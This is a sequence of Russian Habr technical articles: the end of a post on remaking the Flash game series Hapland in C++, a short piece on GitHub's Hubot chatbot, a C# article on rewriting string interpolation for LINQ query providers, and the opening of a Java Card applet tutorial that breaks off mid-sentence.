кадром по таймлайну и записывает в файл все изменения для каждого кадра. Здесь я придумал одну идею, которая мне очень нравится: запись не напрямую в двоичный файл, а в текст на ассемблере. В нём нет команд CPU, только данные. Это упрощает отладку, потому что я могу посмотреть в ассемблерном файле, что было сгенерировано, а не изучать байты в hex-редакторе. ![](https://habrastorage.org/r/w1560/webt/fb/r9/nl/fbr9nldiklhqbalwtaz7lz5k3uu.png) *Какой из файлов вы бы предпочли отлаживать?* Я мог бы просто сделать так, чтобы программа экспорта записывала байты в один файл и одновременно отдельный текст в другой файл, без использования ассемблера, но не сделал этого, потому что 1) ассемблеры уже существуют, 2) мне не нужно их отлаживать и 3) они поддерживают метки. [При записи двоичных файлов часто бывает нужно записать местоположение одного бита данных в другой бит данных, а эти два местоположения могут находиться в файле в любом порядке. Очень упрощает жизнь возможность всего лишь записать `dd mylabel` с одного конца и `mylabel:` с другого, чтобы всем остальным занимался ассемблер.] Остальная часть программы экспорта по большей мере неинтересна; она просто обходит дерево и выполняет конвертацию таких элементов, как матрицы преобразований, цветовые эффекты и тому подобное. Так что вернёмся к самой программе игры. Я решил писать её на C++, потому что уже знаю его, а новые вещи меня пугают. Граф сцены ---------- Hapland отлично подходит для графа сцены. Это модель, которую использовал Flash, и на её основе спроектирована серия Hapland, поэтому не было смысла использовать другую модель. Я храню сцену в памяти в виде привычного дерева узлов (Node), каждый из которых имеет transform, может отрисовывать себя и принимать щелчки мышью. Каждый игровой объект с собственным поведением является экземпляром собственного класса, производного от Node. Сегодня в кругах разработчиков игр не особо модна объектоориентированность, но я работаю с Flash, поэтому меня это не волнует. В игре сохранились функции Flash, которые использует Hapland, например, преобразования цветов и маскирование, однако вместо реализации произвольного маскирования, как это делал Flash, я просто реализовал усечение прямоугольников и отредактировал всю свою графику так, чтобы все маски были прямоугольниками. Скрипты кадров -------------- Почти вся логика Hapland — это фрагменты ActionScript, прикреплённые к кадрам таймлайна. Как мне всё это экспортировать? Я не хотел добавлять в игру интерпретатор ActionScript. ![](https://habrastorage.org/r/w1560/webt/cn/uy/ln/cnuylnsg23nmuisjpockic1s1rm.png) *Простое действие кадра* В конечном итоге, я решил использовать небольшой хак. Моя программа экспорта считывает ActionScript из каждого кадра и применяет к нему несколько регулярных выражений, чтобы попытаться превратить его в код на C++. Например, `crate.lid.play()` может превратиться в `crate()->lid()->play();`. Эти два языка достаточно похожи синтаксически, поэтому это сработало для многих простых действий кадров, однако остался приличный объём поломанного кода, и мне пришлось вручную переписать все оставшиеся действия кадров. После переноса всех скриптов кадров на C++ они извлекаются во время сборки и становятся методами для подкласса Node каждого символа. Также генерируется метод отправки для их вызова в нужное время. Он выглядит примерно так: ``` void tick() override { switch (currentFrame) { case 1: _frame_1(); break; case 45: _frame_45(); break; case 200: _frame_200(); break; } } ``` Здесь также стоит отметить, что система скриптинга в конечном итоге оказалась со статической типизацией, и это удобно, потому что ActionScript таким свойством не обладает. [ActionScript 3 начал двигаться в этом направлении, но серия Hapland написана на ActionScript 2.] Выдаваемые программой экспорта игровые объекты выглядят так: ``` struct BigCrate: Node { BigCrateLid *lid() { return (BigCrateLid *)getChild("lid"); } BigCrateLabel *label() { return (BigCrateLabel *)getChild("label"); } void swingOpen() { ... } void snapShut() { ... } void burnAway() { ... } }; ``` Поэтому даже несмотря на то, что всё остальное представляло собой внутри кучу операций поиска строковых имён, тонкий слой типобезопасности не позволил бы вызывать неверные функции для не тех объектов, спасая от раздражающего класса багов, которые есть в динамических языках: ты где-нибудь совершаешь опечатку и узнаёшь об этом только в среде исполнения. Соотношения сторон ------------------ Ах, эти соотношения сторон. Все, кто преобразует старые медиа в новые форматы, [обожают их](https://davidsimon.com/the-wire-hd-with-videos/). Оригиналы серии моих игр предназначались для браузера и не рассчитывались на запуск в полный экран, поэтому в них использовалось любое соотношение сторон, которое мне подходило. В каждой игре оно было своим, но все они были примерно равны 3:2. Похоже, сегодня самое популярное соотношение сторон — это 16:9, а на ноутбуках ещё популярно и 16:10. Я хотел, чтобы игра выглядела в них хорошо без чёрных полос и растягивания картинки. Два варианта решения этой проблемы: вырезать части оригинала или добавить новые части. Я нарисовал в каждой игре по два прямоугольника, один с пропорциями 16:9, другой с 16:10. Игра выполняла интерполяцию между ними на основании соотношения сторон экрана и использовала интерполированный прямоугольник в качестве границ окна камеры. Поскольку все важные элементы игры находились внутри пересечения этих прямоугольников, а их общий ограничивающий прямоугольник не выходил за край сцены, это сработало отлично. ![](https://habrastorage.org/r/w1560/webt/og/my/il/ogmyiluh4vg3-lig5pljutcl6dw.png) *Границы 16:10 (жёлтые) и 16:9 (голубые) для Hapland 2 в сравнении с исходным 3:2 (зелёные)* Единственная сложность здесь заключалась в том, чтобы адаптировать сами сцены под дополнительную ширину; многие элементы нужно было перерисовать и изменить их расположение, чтобы подогнать под новые соотношения сторон; это оказалось довольно мучительно, но в конечном итоге я справился. Кошмар цветовых пространств --------------------------- После тестирования я обнаружил, что Flash выполняет альфа-смешение и цветовые преобразования не в линейном пространстве, а в пространстве восприятия. С точки зрения математики это выглядит сомнительно, но, с другой стороны, я это понимаю; так работают многие программы для рисования, а разработчики стремятся, чтобы инструмент для потребителя работал так, как того ожидают люди, пусть даже это расстроит витающих в облаках математиков, не знающих, как работает бизнес. Но всё-таки это неверно! Это вызывает проблемы с такими вещами, как сглаживание (antialiasing). Если при растеризации векторной графики вам нужен результат со сглаживанием, растеризатор будет выдавать значения альфы, которые являются так называемыми «значениями покрытия». Это значит, что если пиксель наполовину закрыт векторной фигурой, этот пиксель будет выведен с alpha=0.5. Но если во Flash что-то имеет альфу 0.5, то это значит, что этот элемент воспринимается как среднее между цветами переднего плана и фона. А это совершенно разные вещи! [Так же работает большинство других редакторов изображений. В некоторых сегодня есть кнопка «сделать правильно», но она редко включена по умолчанию. Если вы хотите глубже изучить эту любопытную тему, то обратите внимание, что большинство шрифтов выглядит тоньше, чем должно, потому что они спроектированы так, чтобы отображаться программами, выполняющими альфа-смешение неправильно.] Белый пиксель с половинным покрытием, отрисованный поверх непрозрачного чёрного пикселя, не должен восприниматься как на 50% серый. Свет работает иначе, и растеризация векторов тоже выглядит иначе. (Растеризатор не может сказать «этот пиксель должен внешне выглядеть на X% между цветами фона и переднего плана», не зная цвета фона.) ![](https://habrastorage.org/r/w1560/webt/aq/a3/h3/aqa3h3zbld97ovcjuh1h7yau1wo.png) *Смешение, выполняемое в пространстве восприятия (sRGB). Сверху: прозрачные белые пиксели на чёрном; посередине: прозрачные чёрные пиксели на белом; снизу: серые цвета* ![](https://habrastorage.org/r/w1560/webt/8j/1z/mh/8j1zmh8go706pjmajoamiwzaubk.png) *То же самое смешение, выполненное в линейном (физически точном) пространстве. Обратите внимание, что 50% покрытия не выглядит как 50% серого.* Итак, у нас есть сглаженные растеризованные фигуры, использующие одно определение альфы, и экспортированные из Flash альфа-прозрачность, градиенты и цветовые преобразования, использующие другое. Однако в нашем конвейере рендеринга есть только один альфа-канал. Как же рендерер должен интерпретировать значения альфы? Если он будет интерпретировать как коэффициенты смешивания пространства восприятия, то полупрозрачные объекты будут выглядеть правильно, однако сглаженные края всех изображений окажутся неверными. Если он будет интерпретировать их как значения покрытия, всё будет наоборот. Что-нибудь обязательно будет выглядеть неправильно! Я придумал здесь только два строгих решения: 1) использовать два альфа-канала, один для покрытия, другой для смешения в пространстве восприятия, или 2) растеризовать все фигуры без сглаживания, отрисовать всё в очень большой буфер кадров, а затем уменьшить размер с фильтрацией. [При этом возникает вопрос, как же поступает Flash. Рендерер Flash напрямую работает с векторными данными без отдельного этапа растеризации, поэтому у него есть возможность выполнять сглаживание непосредственно в пространстве восприятия в процессе рендеринга, потому что он может определять цвет фона. А может быть, он просто использует полноэкранный суперсэмплинг.] Должен признаться, что не использовал ни один из этих способов. Я просто смирился с тем, что полупрозрачные элементы выглядят во Flash и в игре по-разному, и постепенно совершенствовал графику, пока игра не стала выглядеть красиво. Прозрачные объекты никогда не будут выглядеть точно так, как я создавал их во Flash, но их не так уж много, поэтому это не очень большая проблема. Чтобы убедиться, что всё остальное сделано правильно, я создал таблицу «цветового теста» с набором цветов разной яркости, эффектами поворота оттенков и тому подобным, отобразил её в игре и сделал так, чтобы она выглядела одинаково и в игре, и во Flash. [Эффекты цветовых преобразований Flash (поворот оттенков, изменение яркости и так далее) выражены в виде матриц 5x4 в пространстве sRGB, и для них достаточно легко решить проблему sRGB/линейного пространства. Простые матрицы достаточно просто преобразовать, а в случае всех остальных можно всего лишь экспортировать матрицу sRGB, чтобы потом игра вычисляла во фрагментном шейдере `srgb_to_linear(ctr * linear_to_srgb(c))`. Для этого нужны дополнительные такты GPU, но всё работает хорошо.] ![](https://habrastorage.org/r/w1560/webt/9x/zx/lu/9xzxlu2mqvj4bufw7mdnq0widu0.png) *Всё совпало!* Частота кадров -------------- Оригиналы игр на Flash работали с номинальной частотой кадров 24FPS, однако на самом деле они работали с той частотой, которая захочется Flash Player. Во Flash можно указать 24FPS, а получить 15FPS, а можно указать 30FPS и внезапно получить 24FPS. Всё это довольно глупо. Я хотел, чтобы ремейк работал в 60FPS, то есть мне нужно было сделать с тем, что анимации Hapland создавались с расчётом на воспроизведение с частотой примерно 24FPS. (Инструменты анимации Flash используют дискретные кадры, а не непрерывное время.) Сначала я сделал так, чтобы программа экспорта удвоила все кадры. То есть для каждого кадра таймлайна она экспортировала два кадра. Так я запросто получил 48FPS вместо 24FPS, что по-прежнему меньше 60, поэтому анимации будут работать на 25% быстрее. [Алгоритм удвоения кадров достаточно умён, чтобы интерполировать позиции объектов для кадров, являющихся частью анимаций движения (motion tween), поэтому они оставались плавными.] Как обычно, решать это пришлось кропотливым ручным трудом. Я просто поиграл в игры и вручную добавил кадры в те анимации, которые казались слишком быстрыми. Теперь у меня имелся неплохой порт игр Hapland на C++, который точно будет работать на современных компьютерах, по крайней мере, десяток-другой лет. Но я не мог избавиться от ощущения, что мне нужно добавить ещё что-то ценное, поэтому я выбрал две вещи. Наряду с перерисовыванием большой части старой графики и анимаций я внёс пару серьёзных изменений. Сохранение состояний -------------------- Я придумал их, чтобы сделать Hapland 3 чуть менее напряжной. Правильный маршрут в игре довольно длинный, можно испортить всё множеством разных способов, после чего придётся начинать сначала. Возможно, в 2006 году, когда мы были подростками, это и казалось интересным, но теперь у нас нет на это времени. Сохранение состояний есть у эмуляторов. Игрок нажимает «save state», и программа запоминает целиком состояние игры, сбрасывая дамп памяти консоли в файл. Если что-то идёт не так, игрок нажимает «load state» и возвращается к сохранённому состоянию. [Некоторые люди просили меня добавить кнопку «undo», но, допустим, если вы выстрелите снаряд, а затем ударите его чем-то пока он летит и нажмёте на «undo», то что должно произойти? Принимать решения о дизайне пришлось бы в каждом конкретном случае. А таких случаев много. И благодаря сохранению состояний мне не пришлось делать этот выбор.] Реализовать сохранение состояний в оригинальных играх на Flash было невозможно, поскольку Flash не даёт программисту доступа ко всему состоянию. Но поскольку теперь я использую собственный код, это реализуемо. Я создал элемент под названием Zone, являющийся аллокатором, распределяющим всю свою память внутри блока фиксированного размера. Все узлы сцены распределяются внутри текущей Zone. Для реализации сохранения и восстановления у меня есть две Zone — активная зона и отдельная «зона сохранения состояния». Для сохранения состояния я при помощи memcpy копирую активную зону в зону сохранения состояния. Для загрузки состояния я выполняю memcpy в обратную сторону. Вторые квесты ------------- Игры серии Hapland не особо длинные, поэтому во всех трёх я хотел добавить ещё несколько часов прохождения. Я решил создать в каждой игре «второй квест» — модифицированную версию игры, в которой структура уровней и головоломок слегка отличается. Создание такого второго квеста требует меньше работы, чем создание совершенно новой игры, но всё равно повышает привлекательность игры. Для создания вторых квестов мне понадобилось впервые за пятнадцать лет снова углубиться в разработку головоломок на Flash, и, честно говоря, мне это вполне понравилось. Старый UI Flash великолепен. У кнопок есть края. Значки выглядят как предметы. Пространство используется продуманно. Он потрясающий! При работе со старыми UI я ощущаю себя археологом, изучающим забытую древнеримскую технологию. Утраченное искусство дизайна UI. Это очень трогательно. ![](https://habrastorage.org/r/w1560/webt/-_/co/dt/-_codtha74y40d15wsx1ecdpj-8.png) *Что это за колдунство?* И хотя Flash забагованный, медленный и в нём отсутствуют совершенно базовые возможности, по большей части меня не раздражала работа в нём. Я определённо не знаю, какую современную программу предпочёл бы использовать вместо него. Чтобы вторые квесты не выглядели слишком похоже на первые, они получили новые фоны, а вся сцена была отзеркалена по горизонтали. ![](https://habrastorage.org/r/w1560/webt/6p/n-/bk/6pn-bka809szcf_d4zh_lyxnnnm.png) *Hapland 3* ![](https://habrastorage.org/r/w1560/webt/h5/gv/be/h5gvbe39twg-qvi3nu-wtujcs1m.png) *Второй квест Hapland 3* Музыка ------ Я быстренько написал по одному эмбиент-саундтреку для каждой игры из стоковых звуков и пары записанных мной аудиоклипов. Однажды, когда я был в отпуске в Японии, я взобрался на холм и без какой-либо причины записал аудио; было здорово, что мне удалось его использовать. Я нанял в Интернете музыканта, чтобы он записал музыку для главного экрана, а сам записал несколько аккордов на гитаре для титров в конце, а потом забил их эффектами, чтобы не было понятно, насколько плохо я играю на гитаре. В зависимости от задач я использую для музыки Logic или Live. Мне кажется, Logic лучше для записи, а Live лучше для саунд-дизайна. Достижения ---------- У меня сложилось ощущение, что игроки ждут от игр в Steam достижений. Это раздражает, потому что по идее гейм-дизайнер должен сам решать, уместны ли достижения в игре, но особых проблем это не доставило. Загрузка ачивок в Steam — это боль. Нельзя просто создать список и передать его инструментам командной строки; приходится кропотливо щёлкать мышью в медленном и запутанном болоте кода на PHP, которое представляет собой партнёрский сайт Steam, и одно за другим добавлять достижения. Наверно, если вы крупная и важная игровая компания, то вам не придётся всё это терпеть и вам выдадут инструмент для пакетной загрузки, но я не такая компания, поэтому изучил выполняемые мной HTTP-вызовы, сохранил куки с моим логином в файл и написал собственный инструмент. Несколько раз поменяв своё решение, я выбрал скромный список достижений: по одному за прохождение каждой из игр Hapland, по одной за каждый второй квест и парочку за самые крупные секреты. А забавные хорошо запрятанные секреты, которые никто не найдёт, не получили достижений; единственное удовольствие заключается в их нахождении. ![](https://habrastorage.org/r/w1560/webt/uf/g-/vs/ufg-vsrkwczb-4re3cy6l5csqne.png) *Достижения в UI Steamworks* Проверка приложения ------------------- Хотя в основном я разрабатывал игру на Mac, в процессе разработки Apple изобрела систему под названием «Notarization» — когда вы запускаете любое приложение на новой версии MacOS, оно выполняет сетевой запрос к Apple, спрашивая, заплатил ли разработчик приложения ежегодный взнос Apple. Если разработчик этого не сделал, MacOS откроет диалоговое окно, в котором говорится, что приложение — это вирус, и откажется запускать его. Поэтому Windows будет первой и, возможно, единственной платформой для релиза этой игры. Использованные библиотеки ------------------------- В ПО, которое я создаю для конечных пользователей, я люблю снижать количество зависимостей до минимума, однако с удовольствием пользуюсь несколькими самыми качественными. Наряду с OpenGL и стандартными библиотеками операционной системы исполняемый файл Hapland Trilogy ссылается на следующие библиотеки: * Steam SDK * [cute\_sound](https://github.com/RandyGaul/cute_headers/blob/master/cute_sound.h) * [stb\_vorbis](https://github.com/nothings/stb/blob/master/stb_vorbis.c) * [stb\_image](https://github.com/nothings/stb/blob/master/stb_image.h) Конец ----- Вот и всё! Спасибо за то, что прочитали этот пост. Проект был интересным. Если технологически сделать всё правильно, то игроки ничего не заметят, поэтому мне иногда просто хочется сказать: смотрите, вот что я сделал. Если вы хотите почитать другие написанные мной материалы, то вам не повезло, я не склонен публиковаться онлайн. Если хотите меня поддержать, то можете [купить Hapland Trilogy](https://store.steampowered.com/app/1458090/Hapland_Trilogy/) или мою другую игру в Steam 2020 года, [Blackshift](https://store.steampowered.com/app/741110/Blackshift/). Если хотите поиграть в некоторые мои игры бесплатно, то на моём веб-сайте [foon.uk](https://foon.uk) есть множество браузерных игр. Самые новые написаны на Javascript или WASM, а самые старые, в том числе оригинальная серия Hapland, на Flash AS2, который довольно неплохо работает благодаря Ruffle. Более поздние Flash-игры написаны на AS3, поэтому больше не работают.
https://habr.com/ru/post/707934/
null
ru
null
# Hubot: универсальный бот на CoffeeScript от разработчиков Github [![](https://habrastorage.org/r/w1560/storage1/34755c51/4c651c41/ca279224/70e37aca.png)](http://hubot.github.com/) Разработчики Github на работе занимаются не только основным делом, но и [посторонними проектами](http://zachholman.com/posts/why-github-hacks-on-side-projects/). Один из таких проектов — бот [Hubot](http://hubot.github.com/), программа для автоматизации различных действий в онлайне (изначально чат-бот). Уникальными особенностями Hubot является поддержка любых Javascript-библиотек через менеджер пакетов [npm](http://npmjs.org/) и скрипты для бота, которые выкладываются на github'е во всеобщее пользование (см. [каталог скриптов](https://github.com/github/hubot-scripts/tree/master/src/scripts) на CoffeeScript). Программирование чат-бота осуществляется простыми командами. ``` robot.hear /problem\??/i, (msg) -> msg.send "http://cl.ly/BG7R/trollface.jpg" ``` Например, этот скрипт ожидает появление в чате слова “problems?” и публикует в ответ [классическую картинку](http://cl.ly/BG7R/trollface.jpg). ![](https://habrastorage.org/r/w1560/storage1/97fb6944/a90fb0d3/125d1c19/2c40b311.png) Или вот [такой скрипт](https://github.com/github/hubot/blob/master/src/hubot/scripts/google-images.coffee) ищет в Google Image Search картинку по заданному ключевому слову и публикует в чат первый результат со страницы поисковой выдачи. ``` imageMe = (msg, query, cb) -> msg.http('http://ajax.googleapis.com/ajax/services/search/images') .query(v: "1.0", rsz: '8', q: query) .get() (err, res, body) -> images = JSON.parse(body) images = images.responseData.results image = msg.random images cb "#{image.unescapedUrl}#.png" ``` Hubot можно подключить к любому каналу IRC и настроить на свой вкус. Однако, на этом его возможности не исчерпываются. Например, внутри компании Github его научили отпирать двери в офисе, составлять список сотрудников в комнате на базе их WiFi-статусов, находить съёмное жилье по заданным параметрам, устанавливать Github, говорить произвольные фразы через колонки в офисе и [т.д.](http://zachholman.com/posts/why-github-hacks-on-side-projects)
https://habr.com/ru/post/131256/
null
ru
null
# Помогаем Queryable Provider разобраться с интерполированными строками ### Тонкости Queryable Provider Queryable Provider не справляется вот с этим: ``` var result = _context.Humans .Select(x => $"Name: {x.Name} Age: {x.Age}") .Where(x => x != "") .ToList(); ``` Он не справится с любым выражением, которое будет использовать интерполированную строку, но без трудностей разберет такое: ``` var result = _context.Humans .Select(x => "Name " + x.Name + " Age " + x.Age) .Where(x => x != "") .ToList(); ``` Особенно болезненно править баги после включение ClientEvaluation(исключениe при вычислении на клиенте), все профайлы автомаппера должны быть подвергнуты жесткому анализу, на поиск этой самой интерполяции. Давайте разберемся в чем дело и предложим свое решение проблемы ### Исправляем Интерполяция в Expression Tree транслируется так(это результат, метода ExpressionStringBuilder.ExpressionToString, он опустил некоторые узлы, но для нас это не фатально): ``` // для x.Age требуется boxing Format("Name:{0} Age:{1}", x.Name, Convert(x.Age, Object))) ``` Либо так, когда аргументов больше 3 ``` Format("Name:{0} Age:{1}", new [] {x.Name, Convert(x.Age, Object))) ``` Можно сделать вывод, что провайдер просто не научили обрабатывать такие кейсы, но его могли научить сводить эти кейсы к старому доброму ToString(), который разбирается вот так: ``` ((("Name: " + x.Name) + " Age: ") + Convert(x.Age, Object))) ``` Я хочу написать Visitor который будет идти по Expression Tree, а именно по узлам MethodCallExpression и заменить метод Format на конкатенацию. Если вы знакомы с Expression Trees, то знаете, что C# предлагает нам свой visitor для обхода дерева — ExpressionVisitor, для тех кто не знаком [будет интересно](https://docs.microsoft.com/ru-ru/dotnet/csharp/expression-trees-interpreting#examining-an-expression-with-no-children). Достаточно переопределить лишь метод VisitMethodCall и немного модифицировать его возвращаемое значение. Параметр метода имеет тип MethodCallExpression, который содержит информацию о самом методе и об аргументах, которые ему переданы. Давайте разобьем задачу на несколько частей: 1. Определить, что в VisitMethodCall "пришел" именно метод Format 2. Заменить этот метод на конкатенацию строк 3. Обработать все перегрузки метода Format, которые могут быть получены 4. Написать Extension метод в котором будет вызывать наш visitor Первая часть достаточно проста, у метода Format 4 перегрузки, которые будут построены в Expression tree ``` public static string Format(string format, object arg0) public static string Format(string format, object arg0,object arg1) public static string Format(string format, object arg0,object arg1,object arg2) public static string Format(string format, params object[] args) ``` Достанем используя рефлексию их MethodInfo ``` private IEnumerable FormatMethods => typeof(string).GetMethods().Where(x => x.Name.Contains("Format")) //первые три private IEnumerable FormatMethodsWithObjects => FormatMethods .Where(x => x.GetParameters() .All(xx=> xx.ParameterType == typeof(string) || xx.ParameterType == typeof(object))); //последний private IEnumerable FormatMethodWithArrayParameter => FormatMethods .Where(x => x.GetParameters() .Any(xx => xx.ParameterType == typeof(object[]))); ``` Класс, теперь мы можем определить, что метод Format "пришел" в MethodCallExpression. При обходе дерева в VisitMethodCall могут "прийти": 1. Метод Format с object аргументами 2. Метод Format с object[] аргументом 3. Не метод Format вовсе ##### Немного кастомного Pattern Maching Пока условия всего 3 можно разрулить все с помощью if, но мы, предполагая, что в будущем нам придется расширять этот метод вынесем все кейсы в такую структуру данных: ``` public class PatternMachingStructure { public Func FilterPredicate { get; set; } public Func> SelectorArgumentsFunc { get; set; } public Func, Expression> ReturnFunc { get; set; } } var patternMatchingList = new List() ``` С помощью FilterPredicate определим с каким из 3 кейсов мы имеем дело SelectorArgumentFunc нужен для того, чтобы привести аргументы метода Format к единообразному виду, ReturnFunc метод, который вернет нам новый Expression. Теперь попробуем заменить представление интерполяции на конкатенацию, для этого будем использовать такой метод: ``` private Expression InterpolationToStringConcat(MethodCallExpression node, IEnumerable formatArguments) { //выбираем первый аргумент //(example : Format("Name: {0} Age: {1}", x.Name,x.Age) -> //"Name: {0} Age: {1}" var formatString = node.Arguments.First(); // проходим по паттерну из метода Format и выбираем все // строки между аргументами передаем их методу ExpressionConstant // example:->[Expression.Constant("Name: "),Expression.Constant(" Age: ")] var argumentStrings = Regex.Split(formatString.ToString(),RegexPattern) .Select(Expression.Constant); // мерджим их со значениями formatArguments // example ->[ConstantExpression("Name: "),PropertyExpression(x.Name), // ConstantExpression("Age: "), // ConvertExpression(PropertyExpression(x.Age), Object)] var merge = argumentStrings.Merge(formatArguments, new ExpressionComparer()); // склеиваем так, как QueryableProvider склеивает простую конкатенацию строк // example : -> MethodBinaryExpression //(("Name: " + x.Name) + "Age: " + Convert(PropertyExpression(x.Age),Object)) var result = merge.Aggregate((acc, cur) => Expression.Add(acc, cur, StringConcatMethod)); return result; } ``` InterpolationToStringConcat будет вызываться из Visitor'a, он спрятан за ReturnFunc (когда node.Method == string.Format) ``` protected override Expression VisitMethodCall(MethodCallExpression node) { var pattern = patternMatchingList.First(x => x.FilterPredicate(node.Method)); var arguments = pattern.SelectorArgumentsFunc(node); var expression = pattern.ReturnFunc(node, arguments); return expression; } ``` Теперь мы должны написать логику для обработки разных перегрузок метода Format, она достаточно тривиальна и находится в patternMachingList ``` patternMatchingList = new List { // первые три перегрузки Format new PatternMachingStructure { FilterPredicate = x => FormatMethodsWithObjects.Contains(x), SelectorArgumentsFunc = x => x.Arguments.Skip(1), ReturnFunc = InterpolationToStringConcat }, // последняя перегрузка Format, принимающая массив new PatternMachingStructure { FilterPredicate = x => FormatMethodWithArrayParameter.Contains(x), SelectorArgumentsFunc = x => ((NewArrayExpression) x.Arguments.Last()) .Expressions, ReturnFunc = InterpolationToStringConcat }, // node.Method != Format new PatternMachingStructure() { FilterPredicate = x => FormatMethods.All(xx => xx != x), SelectorArgumentsFunc = x => x.Arguments, ReturnFunc = (node, \_) => base.VisitMethodCall(node) } }; ``` Соответственно в методе VisitMethodCall мы будем проходить по этому листу до первого положительного FilterPredicate, далее преобразовывать аргументы (SelectorArgumentFunc) и выполнять ReturnFunc. Напишем Extention, вызывая который мы сможем заменять интерполяцию. Мы можем получить Expression, передать его нашему Visitor'у, а потом вызвать метод интерфейса IQuryableProvider CreateQuery, который подменит оригинальное дерево выражений нашим: ``` public static IQueryable ReWrite(this IQueryable qu) { var result = new InterpolationStringReplacer().Visit(qu.Expression); var s = (IQueryable) qu.Provider.CreateQuery(result); return s; } ``` Обратите внимание на Cast qu.Provider.CreateQuery(result) имеющего тип IQueryable в IQueryable, это вообще стандартная практика для c#(посмотрите на IEnumerable), она возникла из-за необходимости обрабатывать все generic интерфейсы в одном классе, который хочет принять IQueryable/IEnumerable, и обработать его используя общие методы интерфейса. Этого можно было бы избежать, приведением T к базовому классу, это возможно с помощью ковариантности, но она тоже накладывает некоторые ограничения на методы интерфейса (подробнее про это будет в следующей статье). #### Итог Применим ReWrite к выражению в начале статьи ``` var result = _context.Humans .Select(x => $"Name: {x.Name} Age: {x.Age}") .Where(x => x != "") .ReWrite() .ToList(); // correct // [Name: "Piter" Age: 19] ``` [**GitHub**](https://github.com/brager17/StringInterpolationReWriter)
https://habr.com/ru/post/442460/
null
ru
null
# Использование Java смарт-карт для защиты ПО. Глава 4. Пишем первый апплет ![image](https://habrastorage.org/files/22d/989/e78/22d989e78ad04030bec8bf788de74983.gif) #### 1. Введение В данном цикле статей пойдет речь об использовании Java смарт-карт (более дешевых аналогов электронных ключей) для защиты программного обеспечения. Цикл разбит на несколько глав. Для прочтения и осознания информации из статей вам понадобятся следующие навыки: * Основы разработки ПО для Windows (достаточно умения программировать в любой визуальной среде, такой как Delphi или Visual Basic) * Базовые знания из области криптографии (что такое шифр, симметричный, ассиметричный алгоритм, вектор инициализации, CBC и т.д. Рекомендую к обязательному прочтению Прикладную Криптографию Брюса Шнайера). * Базовые навыки программирования на любом языке, хотя бы отдаленно напоминающем Java по синтаксису (Java, C++, C#, PHP и т.д.) Цель цикла — познакомить читателя с Ява-картами (литературы на русском языке по их использованию крайне мало). Цикл не претендует на статус «Руководства по разработке защиты ПО на основе Ява-карт» или на звание «Справочника по Ява-картам». #### Состав цикла: * [Глава 1. Ява-карта. Общие-сведения.](http://habrahabr.ru/post/255529/) * [Глава 2. Ява карта с точки зрения разработчика апплетов](http://habrahabr.ru/post/255531/) * [Глава 3. Установка и настройка IDE](http://habrahabr.ru/post/255533/) * [Глава 4. Пишем первый апплет](http://habrahabr.ru/post/255535/) * [Глава 5. Безопасность](http://habrahabr.ru/post/255537/) #### 1. Пример апплета На самом деле писать мы ничего не будем. Я просто приведу здесь жутко прокомментированный исходник тестового апплета для карты. А потом расскажу о некоторых тонкостях реализации. ``` package test; //Импортируем необходимые библиотеки import javacard.framework.APDU; import javacard.framework.Applet; import javacard.framework.ISO7816; import javacard.framework.ISOException; import javacard.framework.Util; import javacard.security.*; import javacardx.crypto.*; //Определяем апплет public class Test extends Applet { // Класс команд (CLA) для нашего апплета private static final byte CLA_TEST = (byte) 0x80; // Номер команды для тестирования скорости private static final byte INS_TESTSPEED = (byte) 0x20; // Номер команды для тестирования шифрования private static final byte INS_TEST3DES = (byte) 0x30; // Выделяем себе буфер для операций шифрования private static byte[] enсryptBuffer = new byte[120]; // Создаем экземпляр класса, ведающего шифрованием. Говорим, что используем // DES в CBC режиме private static Cipher cipher = Cipher.getInstance(Cipher.ALG_DES_CBC_NOPAD, false); // Создаем экземпляр класса, который будет хранить ключ шифрования 3DES3. private static DESKey key = (DESKey) KeyBuilder.buildKey( KeyBuilder.TYPE_DES, KeyBuilder.LENGTH_DES3_3KEY, false); // Выделяем память для ключа ширования 3DES3 private static byte[] keyarr = new byte[24]; // Конструктор апплета. Вызывается один раз при установке апплета в карту protected Test() { // Заполняем буфер для шифрования байтами 0xAA Util.arrayFillNonAtomic(enсryptBuffer, (short) 0, (short) enсryptBuffer.length, (byte) 0xAA); // а ключ байтами 0xBB Util.arrayFillNonAtomic(keyarr, (short) 0, (short) keyarr.length, (byte) 0xBB); // Устанавливаем использование данных из массива keyarr в качестве ключа // шифрования key.setKey(keyarr, (short) 0); } // Метод, выполняющий установку апплета. public static void install(byte bArray[], short bOffset, byte bLength) throws ISOException { new Test().register(); } // Метод, который вызывается при отправке команды нашему апплету public void process(APDU apdu) throws ISOException { // Получаем ссылку на буфер с данными команды byte buffer[] = apdu.getBuffer(); // Если переданная апплету команда - SELECT, возвращаем управление // CardManager if ((buffer[ISO7816.OFFSET_CLA] == 0x00) && (buffer[ISO7816.OFFSET_INS] == (byte) (0xA4))) return; // Если CLA отличается от ожидаемого - возвращаем ошибку if (buffer[ISO7816.OFFSET_CLA] != CLA_TEST) { ISOException.throwIt(ISO7816.SW_CLA_NOT_SUPPORTED); } // Смотрим, что за команда нам отправлена и вызываем соответствующий // метод обработки switch (buffer[ISO7816.OFFSET_INS]) { case INS_TEST3DES: processTest3DES(apdu); case INS_TESTSPEED: processTestSpeed(apdu); default: // Для всех других значений INS возвращаем код ошибки ISOException.throwIt(ISO7816.SW_INS_NOT_SUPPORTED); } } // Метод, обрабатывающий команду тестирования скорости отправки данных private void processTestSpeed(APDU apdu) { // Получаем ссылку на буфер byte[] buffer = apdu.getBuffer(); // Заполняем буфер произвольными байтами for (byte i = 0; i < 120; i++) { buffer[i] = i; } // Соощаем Java машине, что при выходе из метода process нужно передать // компу в качестве // ответа содержимое буфера начиная с байта с индексом 0 и длиной 120 // байт. // Не забываем, что этот метод вызван именно методом process. // Немедленной отправки не происходит apdu.setOutgoingAndSend((short) 0, (short) 120); } private void processTest3DES(APDU apdu) { // Получаем ссылку на буфер byte[] buffer = apdu.getBuffer(); // Шифруем содержимое enсryptBuffer, помещая результат в buffer cipher.doFinal(this.enсryptBuffer, (short) 0, (short) this.enсryptBuffer.length, buffer, (short) 0); // Инструктируем об отправке данных apdu.setOutgoingAndSend((short) 0, (short) this.enсryptBuffer.length); } } ``` #### 2. Некоторые тонкости Конструктор класса апплета вызывается только один раз — при загрузке апплета в карту и его установке. Первое, о чем нужно узнать, при разработке вашего апплета — поддерживает ли реализация Java Card API на карте сборщик мусора (garbage collector). Если сборщик мусора не поддерживается, то любой объект, созданный с помощью оператора new, останется висеть в памяти карты навечно. Уничтожить его и освободить занимаемую память будет нельзя (кроме как удалив апплет с карты). Из этого следует один простой вывод: если ваша карта не поддерживает сбор мусора, все 